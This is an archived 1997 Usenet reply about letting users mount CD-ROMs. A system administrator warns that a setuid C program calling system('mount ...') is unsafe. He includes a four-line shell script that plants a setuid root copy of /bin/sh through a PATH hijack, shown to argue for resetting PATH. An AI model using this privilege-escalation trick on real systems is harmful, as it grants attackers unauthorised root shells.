Usenet comp.unix.osf.osf1 (1992-2004)
 help / color / mirror / Atom feed
From: henson@intranet.csupomona.edu (Paul B. Henson)
Subject: Re: Allowing users to mount CD-ROMS
Date: 1997/02/21	[thread overview]
Message-ID: <5eiuk0$4381@kellogg.csupomona.edu> (raw)
In-Reply-To: 5eh6s4$7r0@gwdu19.gwdg.de


Helmut Michels (michels) wrote:
:   I have solved this problem by writing a little C program. This program
: runs with Set-user-ID permission (chmod u+s) and executes the mount
: command via the C function 'system'.

: ie:   isyst = system ("mount -r -t cdfs -o noversion /dev/rz5c /cdrom");

If I were an unethical user on your system, I'd simply write this shell
script:

#!/bin/sh
cp /bin/sh /tmp/.sh
chown root /tmp/.sh
chmod 4555 /tmp/.sh

Place it in /tmp named mount, set my path to include /tmp at the head, run
your command, and have a lot of fun with your system...

If your program does indeed look like this, I hope you reset the PATH
before you make the system call...


--
Paul Henson  |  System Administrator  |  Cal Poly Pomona  |  (909) 869-3781
pbhenson@csupomona.edu | finger henson@brick.dce.csupomona.edu for PGP key



      reply	other threads:[~1997-02-21  5:00 UTC|newest]

Thread overview: 3+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
1997-02-18  5:00 Allowing users to mount CD-ROMS Andrew McLean
1997-02-20  5:00 ` Helmut Michels
1997-02-21  5:00   ` Paul B. Henson [this message]
read-only archive

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox